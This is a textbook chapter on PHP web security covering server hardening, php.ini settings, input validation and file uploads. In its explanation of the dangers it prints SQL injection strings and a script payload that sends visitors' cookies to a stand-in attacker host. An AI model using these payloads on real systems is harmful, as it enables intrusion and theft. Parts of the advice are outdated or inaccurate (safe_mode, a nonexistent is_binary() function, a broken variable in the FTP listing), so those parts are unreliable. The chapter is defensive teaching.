Considering PHP Security - PHP - PHP, MySQL, JavaScript & HTML5 All-in-One For Dummies (2013)

PHP, MySQL, JavaScript & HTML5 All-in-One For Dummies (2013)

Book IV: PHP

Chapter 5: Considering PHP Security

In This Chapter

arrow.png Securing the Server and the Apache web server

arrow.png Configuring PHP securely

arrow.png Handling errors safely

arrow.png Sanitizing variables

As a web developer, you need to ensure that your web application is secure. If you’re also performing administration duties on the server, then you need to secure the server as well. Securing the application means making sure any and all inputs from users are sanitized, or checked, against values that you know are good and not allowing any input into the program unless you’ve programmatically checked it. Securing the server means attempting to keep the web application in its own virtual sandbox, so that if the server is compromised the damage is limited.

This chapter discusses security for web applications. You look both at server security and application security.

Securing the Server

The server itself should be secured. This usually means hardening the server and ensuring that the server uses a firewall.

Hardening the server

Typically this means hardening the operating system by uninstalling unnecessary services. For example, there’s typically no reason to run a print server on the same server that runs the public website.

tip.eps Disabling and uninstalling unnecessary services reduces the footprint of the server, which means that there are fewer things for an attacker to exploit.

Tools like SELinux and grSecurity also enhance the security of a server and reduce the ability of successful attackers from compromising more than their own little sandboxes.

Using a firewall

Whether you use a firewall on the server itself or use a firewall at the point where the Internet meets your network, or both, you should make sure that there’s a firewall blocking connections to all ports except those specifically allowed, such as TCP ports 80 and 443 for a typical web server.

A better scenario is to run the firewall both at the ingress point (the point where the Internet meets your network) and on the server itself. Doing so means that the web server will be protected even if an attacker finds another way into the network.

All major operating systems include built-in firewall tools and they’re both easy to set up and easy to maintain.

Securing Apache

Securing the Apache web server is a pretty broad topic, so rather than try to fit everything into one section, we focus on two ways to make Apache more secure when it’s running PHP applications: using SuExec and mod_security. If you’re using a third-party hosting provider, then you won’t be able to install SuExec or mod_security but rather will rely on the hosting provider for (and let them worry about) server security.

Securing PHP applications with SuExec

If your application runs on Apache (as more than half the websites on the Internet do), you may want to consider enabling SuExec in your Apache configuration. SuExec is a mechanism that is bundled with Apache that causes scripts to be run as the user that owns the script, rather than running them as the web server user.

In a non-SuExec environment, all scripts are run as the same user ID as the web server itself. Unfortunately, one vulnerable script can give a malicious user back-door access to the entire web server, including scripts running on other sites hosted on the same server.

SuExec attempts to mitigate this problem by restricting web applications to their own areas and running them under their owners' user IDs, rather than under the web server's user ID. For example, this script would run under the user ID of jsmith:

/home/~jsmith/public_html/scripts/please_hack_me.php

A malicious user could exploit this script, but he or she would have access only to files and programs that the jsmith user is allowed to use. Every other user on the server would be protected from jsmith's insecure script.

Unfortunately, getting SuExec to work properly with virtual hosts, or multiple independent websites physically located on the same web server, can be tricky. SuExec is designed to run scripts that exist in the web server’s document root. Most virtual hosts are set up in a way that gives each individual website its own document root, and each site’s document root isn’t located under the web server’s document root. To get around this restriction, the system administrator must add each virtual host’s document root to the web server’s document root variable in the Apache configuration file.

SuExec also requires that PHP scripts be run as Common Gateway Interface (CGI), which is slower than running PHP as a precompiled module under Apache. CGI was the first workable model for web applications, and it is still used for simple scripts. However, once you leave the realm of PHP scripting and start writing full-fledged applications, you’ll need the performance boost of precompiled PHP.

For fairly simple web servers, SuExec can keep one insecure application from trampling all over everything else. However, in a more complex environment with virtual servers, precompiled modules, and dozens or hundreds of users, you need a security model that is a bit more robust. mod_security (which we cover in the next section) is a giant leap forward in web server security, especially for servers that run virtual servers and precompiled PHP.

mod_security

mod_security is an open-source module that no Apache server should run without. It's a robust filtering engine that watches incoming requests (both GET and POST) and weeds out the ones that are likely to cause problems for the server and its applications. If your server is running SuExec, mod_security is a great first line of defense — and you can never have too many lines of defense when it comes to web server security!

mod_security works by intercepting all traffic bound for your web server. It compares the traffic to a set of rules to determine whether to stop each individual packet or allow it to proceed to the web server. Think of it as having your own personal bouncer standing at the door to your server.

Out of the box, mod_security comes with a set of core rules designed to protect servers from most generic attacks. You can add your own rules as you need them to respond to specific attacks on your applications.

Unfortunately, Apache doesn't come with mod_security, so you have to get it yourself. Luckily, it's open source and available from www.modsecurity.org.

Setting Security Options in php.ini

The php.ini file has a number of security-related options. Table 5-1 explains the recommended setting for each option. See Book VII, Chapter 1 for more information on the php.ini file.

Table 5-1 Recommended Security Settings for php.ini

Option

Description

safe_mode = on

Limits PHP scripts to accessing only files owned by the same user that the script runs as, preventing directory traversal attacks.

safe_mode_gid = off

This setting, combined with safe_mode, allows PHP scripts access only to files for which the owner and group match the user/group that the script is run as.

open_basedir = directory

When this parameter is enabled, the PHP script can access only files located in the specified directories.

expose_php = off

Prevents PHP from disclosing information about itself in the HTTP headers sent to users.

register_globals = off

If this parameter is enabled, all environment, GET, POST, cookie, and server variables are registered as globals, making them easily available to attackers. Unless you have no other options but to enable it, you should leave register_globals off.

display_errors = off

Prevents PHP errors and warnings from being displayed to the user. Not only do PHP warnings make your site look unprofessional, but they also often reveal sensitive information, such as pathnames and SQL queries.

log_errors = on

When this parameter is enabled, all warnings and errors are written to a log file in which you can examine those warnings and errors later.

error_log = filename

Specifies the name of the log file to which PHP should write errors and warnings.

Handling Errors Safely

In an ideal world, when you create a form that asks users to type in their first name, you can reasonably expect that they will enter something like John or Jane. Unfortunately, you also get users who leave the form blank, type in their address, or simply enter a random string of characters. And those are the benign users. Attackers enter things into your form for nefarious purposes. Consider the following information on how the bad guys operate and how to stay one step ahead of them.

Understanding the dangers

Attackers use different methods to put your website at risk. One type of attack is called SQL injection. In this attack, an attacker assumes that the information collected in a form is going to be used in a SQL query and executed against your database. The attacker types characters into your form field that can cause you problems when used in a query.

For example, the attacker might enter something like John; drop%20table%20users. If your application is set up to enter users' names into the database, your SQL query would look something like

INSERT INTO users VALUES (John; drop table users);

Depending on your server configuration, the server might read that query and merrily go about dropping the users table from your database. It might complain about the syntax a little, but if you have a loose database configuration, it will do exactly what that line of code tells it to: Add “John” to the users table, and then drop the table named users. Not good.

In another example of SQL injection, characters are entered into the username field of a form to bypass authentication. Suppose the user types the following characters into the username field:

John' OR 'foo' = 'foo' --

Your script might contain the following statement to test the username and password:

$sql = "SELECT * FROM User WHERE userID = '$_POST[userID]'

AND password = '$_POST[password]'";

If you insert the code that the user types in, without changing it, you have the following SQL query:

$sql = "SELECT * FROM User WHERE username = 'John' OR 'foo' = 'foo' -- ' AND password = '$_POST[password]'";

This query allows the user to log in without a valid username or password. In the first phrase in the WHERE clause, the foo = foo is true. Then, the -- makes the rest of the query into a comment, effectively invisible in the query. Consequently, this query always matches a row.

Another type of dangerous form input is when the attacker enters a script into your form field. For instance, the attacker might enter the following into a form field:

<script>document.location='http://badguy.org/bad.php?cookies=' + document.cookie </script>

If you store this text and then send it to someone who visits your website, your visitor will send the cookies related to your application to the bad guy. Another bad script might be the following:

<script language=php eval(rm *); </script>

Testing for unexpected input

You can make a couple of pretty accurate assumptions about the data you expect the user to enter. For instance, when you ask for a name, you expect the following to be true:

check The data is alphabetical — no numbers.

check The name might have a space, an apostrophe, or a hyphen, such as Mary Jane, O’Hara, or Anne-Marie.

check The data certainly doesn’t include HTML tags or other bits of code.

These assumptions are the keys to testing for unexpected input. Pass the input through a regular expression by using PHP's preg_match() function to determine whether it contains any nonalphabetical characters, other than a space, an apostrophe, or a hyphen.

Regular expressions (or regexes, for short) are the essence of all input testing. Refer to Chapter 2 of this minibook for an explanation of regular expressions.

You need to do more than sanitize user input though. If you reflect any input back to the user, such as a confirmation screen, you must also sanitize HTML generated by your application and sent to the user. A malicious user can inject markup into your application to entice another user into clicking a link that takes him or her (unknowingly) away from your site to a phishing clone.

To prevent this type of attack — it's often referred to as user hijacking or cross site scripting — use htmlentities() on any value you plan to use to render HTML, as shown in this example:

$inputString = "<b>Hello World</b>";

$safe_string = htmlentities($inputString);

In this example, $safe_string would contain the following character string:

<b>Hello World</b>

A better solution is to use the preg_match again and make sure there are no unexpected characters in the input. Why bother allowing users to put HTML into their input? In other words, if you notice characters other than those allowed, simply error out and present the user with a message indicating that his or her input was not valid, as discussed in the next section.

Handling the unexpected

Most of the time, you test your user’s input, and it passes through your regular expressions without a hitch. But what do you do when something goes wrong?

The simplest way to handle unexpected input is to stop the application completely. However, even though this method will stop bad data from getting into your application, it can also cause confusion and frustration for legitimate users who simply mistyped their information.

Therefore, a better solution is to return the user to the input screen and ask him or her to try again. You can make the system more user friendly by letting the user know which fields caused problems. Book VI, Chapter 3, shows how to process forms, redisplaying the form when invalid data is entered in the form fields.

If your tests catch something that looks like malicious activity, you might want to take additional steps, such as writing to the log file, notifying the administrator, or even blocking the IP address from which the offending input originated.

Checking all form data

Check all the information in your form, including any information that the user selects from lists, check boxes, or radio buttons. These fields can contain bad information as well.

How does bad data get sent in from a drop-down or radio button? Easy. There are browser plug-ins that enable the values from GET and POST data right after the Submit button is clicked. So malicious people could simply change any of the values to whatever they wanted.

The key for all of it is to validate what you expect to receive against what you actually received. You can check your list variables with regular expressions. For instance, the following regular expression matches only the specified text:

preg_match("/(male|female)/")

Sanitizing Variables

Sometimes, telling users to go back and try again when they fail to enter valid data simply isn’t an option. When you have to make do with what the user gives you, you can use a couple of techniques to make sure that bad data doesn’t break your application — or, worse, the underlying systems that support your application, such as e-mail transport and the operating system. The following sections tell you how to prevent bad user input from mucking up the works.

Converting HTML special characters

Sometimes, you want to allow users to enter HTML into your application. A blog comment system, for example, usually allows users to post hyperlinks. But you don’t have to open your application to just anything that users might want to put in.

If you allow users to enter HTML, you should always convert HTML special characters to HTML entities by using the htmlentities() function. The htmlentities() function takes the string to be converted as its argument. The function then does a simple search-and-replace for the following HTML-special characters:

check & (ampersand) becomes &.

check " (double quote) becomes ".

check ' (single quote) becomes '.

check < (less than) becomes <.

check > (greater than) becomes >.

tip.eps If you need to escape every character with special meaning in HTML, use htmlentities() rather than htmlspecialchars(). See www.w3schools.com/html/html_entities.asp for more information on characters that have special meaning in HTML.

Uploading files without compromising the filesystem

Most applications don't need to upload files. These applications are more secure if you do not allow files uploaded. You can prevent file uploading with the file_uploads setting in your php.ini file. The setting is on by default, as follows:

file_uploads = On

Change the setting to Off to prevent any file uploads in PHP scripts.

Some applications need to let users upload files. Unfortunately, this requirement also creates the potential for serious security problems. Malicious users can

check Launch Denial of Service (DoS) attacks.

check Overwrite existing files.

check Place malicious code on the server for later use.

Because of the open nature of web applications, you can’t completely secure file upload functionality within your application, but you can mitigate the dangers.

Avoiding DoS attacks on the filesystem

File uploads create the potential for DoS attacks because malicious users can upload extremely large files and use all available resources in the filesystem in the process. Uploading large files can effectively bring the server down by preventing it from writing temporary files or virtual memory swap files. You can limit file sizes in php.ini, but doing so doesn't prevent a scripted attack that tries to upload hundreds of 2MB files every second.

You should certainly place limits on file sizes in php.ini. You should also create a separate filesystem specifically for uploaded files. This separate system keeps any mischief locked away from the rest of the server. The upload filesystem might fill up with junk files, making the file upload functionality of your application unavailable — but at least the entire server wouldn't crash.

Validating files

After a file is uploaded, you should validate that it’s a legitimate file. Although you might not be able to weed out every malicious upload, you can cut down on the most obvious ones. Here are a few ways you can validate files:

check Verify the filename extension. This check isn't the most robust test (because someone can easily rename a file with a new extension), but it's simple to do and can catch some of the less-sophisticated crackers who try to upload files such as spam_sender.php by using your image upload function.

check Test for the basic file type you're expecting. For example, if you're expecting images, you can use the is_binary() function to weed out text files, such as PHP scripts, as shown in the following example:

$input = $_POST['input_file'];

if (is_binary($input)) {

// proceed as normal

}else {

// reject the file, redirect the browser, etc.

}

check Run the file through an antivirus utility such as F-Prot (available at www.f-prot.com).

Using FTP functions to ensure safe file uploads

It's fairly common for web applications to allow users to upload files for one reason or another. For instance, some message boards allow users to upload small images or avatars that are shown next to each of that user's posts. Other applications allow you to upload data files for analysis. You could use PHP's built-in fopen() function, which automatically opens a stream to a file or URL that allows users to upload files. Unfortunately, this method is ripe for exploitation by malicious users who can use it to upload files from remote servers onto your web server.

Preventing this type of exploitation requires you to disable two settings in php.ini: register_globals and url_fopen. Disabling these settings prevents users from using PHP's built-in file upload without you explicitly enabling that functionality.

After you disable these two functions in php.ini, you still need to allow users to upload files. Use PHP's FTP function set, a much more secure method than fopen(), to allow users to upload files.

You can use the FTP functions fairly intuitively. First, you establish a connection, then you upload the files you need, and finally, you close the connection. Listing 5-1 shows how to use the FTP functions in PHP:

Listing 5-1: Using Basic FTP Functions

<?php

// set up basic connection

$connection_id = ftp_connect($ftp_server);

// login with username and password

$login_result = ftp_login($connection_id, $ftp_username, $ftp_password);

// check connection

if ((!$connection_id) || (!$login_result)) {

echo "FTP connection has failed!";

echo "Attempted to connect to $ftp_server for user $ftp_username";

exit;

} else {

echo "Connected to $ftp_server, for user $ftp_username";

}

// upload the file

$upload = ftp_put($connection_id, $destination_file, $source_file, FTP_BINARY);

// check upload status

if (!$upload) {

echo "FTP upload has failed!";

} else {

echo "Uploaded $source_file to $ftp_server as $destination_file";

}

// close the FTP stream

ftp_close($conn_id);

?>

Here are the most common FTP functions and their arguments:

check ftp_connect( string $host [, int $port [, int $timeout ]] ): Connect to the FTP server — in this case, your web server.

check ftp_login( resource $ftp_stream, string $username, $string password ): Send login credentials to the FTP server.

check ftp_put( resource $ftp_stream, string $remote_file, string $local_file, int $mode [, int $startpos] ): Put a file from the local machine to the server.

check ftp_get( resource $ftp_stream, string $local_file, string $remote_file, int $mode [, int $resumepos] ): Get a file from the server and send it to a local machine.

check ftp_close( resource $ftp_stream ): Close the connection to the server.

warning_bomb.eps You need to close the FTP stream as soon as you’re finished with it; otherwise, you have an open connection that’s vulnerable to hijacking.